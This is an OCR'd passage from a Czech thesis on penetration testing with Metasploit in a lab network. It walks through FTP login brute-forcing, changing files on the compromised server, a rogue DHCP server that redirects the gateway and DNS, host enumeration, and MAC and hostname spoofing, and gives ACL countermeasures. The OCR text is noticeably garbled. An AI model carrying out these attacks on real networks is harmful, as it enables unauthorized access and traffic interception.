konkrétniho hosta to na IP adrese 192.168.1.5, vzhledem ktomu, Ze v predeslé
podkapitole vySe bylo zjiSténo, Ze na IP adrese se nachazi server, ktery umoZnuje
Anonymni ptistup, proto uz se v této ¢asti udava uz konkrétni IP adresa daného FTP
serveru. Pro demonstrativni tcely v této praci bylo zvoleno nastaveni nasledujicich

parametrii. Kdy parametr username byl nastaven na hodnotu ,Administrator” a
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parametr password nastaven na hodnotu ,KalliLinux2024"“. NiZe na obrazku je vidét
vySe popsané nastaveni.

> set rhosts 192.168.1.5

> set username Administrator
me => Administrator
set password KalliLinux2e2

C
lLliLinux2@e24
msf6 auxiliary( ) > run

Obrazek 20 nastaveni ftp/ftp_login (zdroj obrazku: autor)
Pti realném tutoku by se misto parametru username a password pouZily tfi niZze popsané
varianty nastaveni. V prvni varianté by se nastavovaly opét dva parametry a to
USER_FILE, kde se v tomto parametru se nastavi cesta k souboru s potencidlnimi
uzivatelskymi jmény. Nasledné se nastavi parametr PASS_FILE, kde se nastavi cesta
k souboru s potencialnimi hesly U téchto parametri se kazda hodnota nachazi na novém

radku v daném souboru.
Ptiklad pro USER_FILE:
Admin

Administrator
Admin2024

Priklad pro PASS_FILE:
Administrators
Admin2024

KalliLinux2024

Ve druhé varianté se vyuziva parametr USERPASS_FILE, kdy je format uZivatelské jméno
mezera heslo, kdy dal$i varianta ptihlasovacich udaji je na novém Fadku v daném

souboru.
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Piiklad pro USERPASS_FILE:

Admin DiplomkaUHKZ2024

Administrator Admninistrator2024Diplomka
Administrator KalliLinux2024

Ve treti varianté se vyuZziva parametr USER_AS_PASS, kde se jako heslo vyuziva

uZzivatelské jméno.

Vystupni udaje

V pripadé uspésného nalezeni uzivatelskych udaji se ve vystupni vypisu objevi IP
adresa konkrétnitho FTP serveru spolecné s c¢islem portu pre, ktery dany server
komunikuje. Dale se ve vypisu se objevi uZzivatelské jméno a heslo, kdy tyto dva udaje
jsou vzajemné oddéleny dvojteCkou. U piiklad pouzitém v této praci to bude IP adres

192.168.1.5 ¢islo portu 21 a prihlaSovaci udaje jsou Administrator:KalliLinux2024 Nize
na obrazku je vidét dany vySe popsany vypis.

192.168.1.5:2 - 192.168.1.5:21 - Starting FTP login sweep
[+] 192.168.1.5:2 - 192.168.1.5:21 - Login Successful: Administrator:KallilLinux2024

192 . - Scanned 1 of 1 hosts (100% complete)

Obrazek 21 vystup prikazu ftp/ftp_login modulu (zdroj obrazku: autor)

Prevence utoku

Jediné Gc¢inné doporuceni je pouZzivat dostatecné dlouha hesla, ktera v sobé kombinuji
pismena, Cislice a specidlni znaky. Obecné se uvadi minimalné 12 znakd pro heslo

bézného uZzivatele a minimalné 15 znaki pro administratora.
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8.2.5 FTP login

V predchozi kapitoly byly zjistény prihlasovaci udaje pro FTP server, které se v této
kapitole je vyuziji pro prihlaSeni k danému serveru. PrehldSeni se provede zadanim
prikazu ,ftp 192.168.1.5, dy se nasledné zada uZivatelské jméno a heslo. Po uspeSeném
prihlaSeni se zobrazi v prikazovém radku ,ftp>“, nasledné lze vyuzivat piikazy linuxu
jako napriklad: ,Is“ pro vypsani daného adresare. Pro vytvoreni adresate je mozné
pouzit ptikaz ,mkdir“. Pfikaz ,rename®”, pro piejmenovani souborti. Na obrazcich niZe je

znazornén vySe popsany postup.

ftp> 1s
229 Entering Extended Passive Mode (|| I567271)
150 Opening ASCII mode data connection.
@2-15-24 ©8:37PM 182 kali.rtf
226 Transfer complete.

mkdir test

"test™ directory created.

229 Entering Extended Passive Mode (|| |567281)
150 Opening ASCII mode data connection.
B2—-15—-24 37PM 182 kali.rtf
83-11-24 2PM <DIR> test

226 Transfer complete.

Obrazek 22 vytvoreni sloZky na napadeném FTP serveru (zdroj obrazku: autor)

ftp> 1s

229 Entering Extended Passive Mode (|| |56732])

150 Opening ASCII mode data connection.

©3-11-24 kali.doc.txt
e3-11-24 % & PN € kali.txt
e3-11-24 v <DIR> test

©3-11-24 a8 <DIR> test2

226 Transfer complete.

ftp> rename kali.txt diplomka.txt

350 Requested file action pending further information.
250 RNTO command successful.

Obrazek 23 zména nazvu souboru na napadeném serveru (zdroj obrazku: autor)
Na obrazku niZe je vidét dany adresar na FTP serveru po provedeni vyse uvedenych

ptikaz.
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» ThisPC » LocalDisk () » ftp » " 0 Search ftp

s

Marne Date modified Type
E .
|=] kali.doc 3/11/2024 8:26 PM Text Document
_| diplomka 3/11/2024 8:26 PM Text Document
; testd 3/11/2024 827 PM File folder
3 test 3/11/2024 8:23 PM File folder

Obrazek 24 zmény v adresaii pro provedeni utoku (zdroj obrazku: autor)

Prevence utoku

Nastaveni pristupu ke sluzby FTP na daném serveru pomoci ACL.
Ptiklad nastaveni ACL:

ip access-list extended ftpPermit

permit tcp 192.168.10.0 0.0.0.255 host 192.168.1.5 eq ftp

permit tcp 192.168.20.0 0.0.0.255 host 192.168.1.5 eq ftp

deny tcp any host 192.168.1.5 eq ftp

permit tcp any any

8.3 Utok serverdim

V této podkapitole se budou vyuzivat ty to dva moduly dir_scanner a dir_listing.
8.3.1 dir_listing

Pouziti modulu s nazvem dir_listing.

Vstupni udaje

Parametr RHOST nastaven na hodnotu: ,192.168.1.0/24“

To znamen3, Ze se bude prohledavat cely adresni rozsah a to celkem 254 IP adres.
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Parametr THREADS nastaven na hodnotu 51
Parametr PATH nastaven na: ,,/“.
Vystupni data

Na obrazcich niZe jsou uvedeny nalezené servery, kdy oba servery hlasi 404.

hosts (90% complete)

/(/192.168.1.5:80/rpc/ 404 (192.168.1.5)
Scanned 256 of 256 hosts (1900% complete)
Auxiliary module execution completed

Obrazek 25 vystup z dir_listing modulu (zdroj obrazku: autor)

Detecting error code
Detecting error code

Found http://192.168.1.5:80/Rpc/ 404 (192.168.1.5)
2%,

Scanned 11© of 256 hosts (42% complete)

Obrazek 26 vystup z dir_listing modulu (zdroj obrazku: autor)

8.4. DHCP server
Vstupni udaje

Pro nastaveni faleSného DHCP serveru se vyziva: ,auxiliary/server/dhcp“, kde se nstavi
postupné 7 parametri. Prvni parametr je: ,ROUTER®, kde se nastavi faleSna vychozi
brana na IP adresu Uto¢nika. Druhy parametr je: ,DNSSERVER®, kde se nastavi faleSna
adresa DNS serveru na IP adresu utocnika. Treti parametr je ,BROADCAST" skute¢na
broadcast pro danou sit. Ctvrtym a paty parametry jsou ,DHCPIPSTART“ a
,DHCPIPEND“ pro nastaveni rozsahu IP adres pouZitelnych pro hosty dané sit&. Sesty
parametr je ,NETMASK“ pro nastaveni masky dané sité. Na obrazku niZe je vidét

nastaveni faleSného DHCP serveru.
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http://192.168.1.5:80/Rpc/

msf6 auxiliary( ) > use iliary/server/dhcp
msf6 auxiliary( > ROUTER 192. -.1.100
ROUTER = 192.168.1.100
msf6 auxiliary( ) - SRVHOST 192.168.1.100
SRVHOST = 192.168.1.100
F6 auxiliary( ) > DNSSERVER 192.168.1.100

ERVER = 192.168.1.
msf6 auxiliary( ) I BROADCAST 192.168.1.255
BROADCAST = 192.168.1.2
msf6 auxiliary( > =] DHCPIPSTART 192.168.1.2
DHCPIPSTART = 192.168.1.
msf6 auxiliary( y 3 et DHCPIPEND 192.168.
DHCPIPEND = 192.168.1.
msf6 auxiliary( ) I NETMASK 255.255
NETMASK = 255.255.255.
msf6 auxiliary( )

Auxiliary module ackground job 1.
msf6 auxil ry( >

Starting DHCP server ...

Obrazek 27 nastaveni z pouziti server/dchp modulu (zdroj obrazku: autor)

Vystupni data

Pocita¢ by mél mit nastavenou vychozi branu na IP adrese 192.168.1.2 a DNS server na
IP adrese 192.168.1.3, kdy misto téchto hodnot dostane faleSné IP adresy z faleSného
DHCP serveru. NiZe na obrazku je vidét nastaveni udaju, které pocitac ziskal z falesného

DHCP serveru.

Obrazek 28 vystup z pouziti server/dchp modulu (zdroj obrazku: autor)

Vyuziti faleSného DHCP serveru

Pomoci faleSného DHCP je moZné podvrhnou adresu DNS server a Default Gateway.
Pokud dojde k podvrzeni Default Gateway, tak provoz, ktery by mél jit mimo danou sit,

tak misto toho, aby se to posilalo na Router, tak se to nejdrive posle ito¢nikovi o ného az

88



na Router. Timto zplisobem mizZe utocnik sledovat komunikaci, kterd jde z dané sité
mimo danou sit. V pripadé, Ze dojde k podvrZeni adresy DNS severu, tak utocnik mize
presmérovat dotaz na vlastni servery a vlastni aplikace, které se jevi jako legitimni

aplikace. Kdy pres stejnou URL, kterou pouZziva legitimni aplikace se zobrazi faleSna

aplikace.
Prevence utoku

V ramci ACL povolit sluzbu DHCP pouze pro konkrétni cilové IP adresy na kterych jsou
umistény skutecné DHCP servery pro danou sit. Pro vSechny ostatni cilové IP adresy

zakazat pro sluzbu DHCP.

Ptijlad nastaveni ACL:

ip access-list extended DHCP

permit icmp any host 192.168.1.3

permit tcp any host 192.168.1.2 eq bootps
permit tcp any host 192.168.1.2 eq bootpc
deny tcp any any eq bootps

deny tcp any any eq bootpc

permit tcp any an

8.5 Nbname
Vstupni udaje
Pa Parametr RHOST nastaven na hodnotu: ,192.168.1.2 - 254

To znamend, Ze se bude prohledavat adresni prosto od IP adresy 192.168.1.2 do IP
adresy 192.168.1.254. Parametr THREADS nastaven na hodnotu 100.
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msf > use auxiliary/scanner/netbios/nbname

msf auxiliary(nbname) > set RHOSTS 192.168.1.2 - 192.168.30.254
RHOSTS => RHOSTS 192.168.30.2 - 192.168.30.254

msf auxiliary(nbname) > set THREADS 100

THREADS => 100

msf auxiliary(nbname) > run
Vystupni udaje

Na obrazku niZe je vidét, Ze na zadaném rozsahu IP adres se nachazi celkem C¢tyfi

zarizeni.

ecution co ed

Obrazek 29 vystup z nbname modulu (zdroj obrazku: autor)

Tabulka nalezenych hosti, ktera vychazi z obrazku vyse.

Nazev zarizeni Typ operacniho systému IP adresa MAC adresa
WIN-7CGSURPKN8R | Windows 192.168.1.2 | 08:00:27:5c:14:6d
WIN-Q6VFH3PB8UI Windows 192.168.1.3 | 08:00:27:7c:f2:d3
WIN-0Q8BVPS2VDQ | Windows 192.168.1.4 | 08:00:27:cf:d2:fe
AIN-NIRH89628U4 Windows 192.168.1.5 | 08:00:27:59:dd:d9




Tabulka 13 nalezenych hostii pomoci Nbname (zdroj: autor)

NiZe je ptiklad zmény MAC adresy a nazvu zafizeni. Uto¢nik se timto zplisobem miiZe
maskovat jako legitimni zarizeni sité.

sudo hostnamectl set-hostname WIN-7CGSURPKN8R

ifconfig ethO down

macchanger -m 08:00:27:5c:14:6d eth0

ifconfig ethO up

macchanger -s eth0

8.6 Zavér praktické ¢asti prace

V praktické casti byly nastinény moznosti praktického vyuzit Metasploit Frameworku
v prostiedi KaliLinuxu. V prakticky zde v této praci byl ukazan jen zlomek funkcionalit
Metasploit Frameworku. Nejvétsi ¢ast praktické casti prace byla vénovana utokim proti

FTP serverum.
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9 Zaver

V praci byla vysvétlena problematika penetracniho testovani. Prace byla rozdélena do
¢ty hlavnich c¢asti, kdy prvni tfi ¢asti jsou teoretické a ¢tvrta ¢ast je prakticka. Prvni ¢ast
je vénovana obecnému uvodu do problematiky penetracniho testovani. Jsou zde
popsany metodiky postupl vyuZivanych pri penetracnim testované v Cetné strucného
schématu postupu pii vyuziti konkrétni dané metodiky. Dale jsou popsany typy
penetracnich testd a skupiny hackert podle jejich zaméieni a cile. Druha c¢ast prace se
vénuje operacnimu systému KaliLinux, ktery se vyuziva pro penetracni testovani. Byl
zde uveden uvod do KaliLinuxu v ¢tené struc¢né historie jeho vyvoje. Dale zde byly
popsany nastroje pro penetracni testovani, které jsou v prostredi tohoto operacniho
systému na instalovany. U kazdého uvedeného nastroje byla popsana jeho funkce a
vyuziti pro penetracni testovani. Treti Cast je vénovana Metasploit Frameworku v této
casti byla uvedena stru¢na historie vyvoje Metasploit Frameworku. Dale byly v této cisti
popsané vybrané funkcionality vyuzivané v Metasploit Frameworku. Kdy kazda
funkcionality byla popsdna k ¢emu se vyuziva a co je pro jeji vyuziti potireba nastavit

jako vstupni hodnoty. Byla zde zminéno porovna mezi Metasploit Framework 5.0

a Metasploit Framework 6.3. Co, ktera verze prinesla nového a vyhody dané verze
Metasploit Frameworku. Posledni praktické ¢asti byla pouzita nastroj KaliLinuxu pro
skenovani dané LAN sité, nebo VLAN sité. Velka pod Cast této ctvrté casti je vénovana
nastrojlim vyuzivanych proti FTP serveru. Balo zde ukazano vytvoreni faleSného DHCP
serveru. Dale je zde ukazany funkce dir_listing a nbname. U kaZzdé ¢asti jsou popsany
vstupni parametry a jejich nastaveni. Nasledné je zde uveden vystup po pouZiti dané
funkce a popsanti jejiho vystupnich hodnot. V praktické ¢asti této prace byly zminény jen
velmi mala ¢ast z moznych funkcionalit Metasploit Frameworku. Metasploit Framework

je velmi robustni nastroj z pohledu moZného pouZiti v oblasti penetracniho testovani.
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